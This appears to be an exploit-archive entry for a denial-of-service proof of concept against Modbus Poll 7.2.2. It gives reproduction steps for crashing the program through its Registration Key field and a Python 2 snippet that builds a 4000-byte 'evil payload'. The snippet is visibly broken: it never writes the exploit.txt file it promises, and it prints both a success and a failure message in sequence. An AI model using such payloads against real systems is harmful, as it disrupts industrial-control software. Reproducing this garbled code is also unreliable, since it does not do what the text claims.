Modbus Poll 7.2.2 Denial Of Service

Modbus Poll version 7.2.2 suffers from a denial of service vulnerability.

MD5 | 87bf262caddd533fef12dd918ea17f86

# Exploit Title: Modbus Poll 7.2.2 - Denial of Service (PoC)
# Discovery by: Cemal Cihad AAdegFTAAdeg
# Discovery Date: 2018-10-19
# Tested Version: 7.2.2
# Vulnerability Type: DOS
# Tested on OS: Windows XP Professional Service Pack 3
# Vendor Homepage:
# Download Link:

# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt".
# Now start the program. Now when you are inside of the program click Connection button and
# click "connect". It will ask you for registration key. In the field: "Registration Key"
# paste the copied content from "exploit.txt".
# Now click "OK" and see a crash!


buffer = "A" * 4000
print "[+] Creating %s bytes evil payload.." %len(buffer)
print "[+] File created!"
print "File cannot be created"

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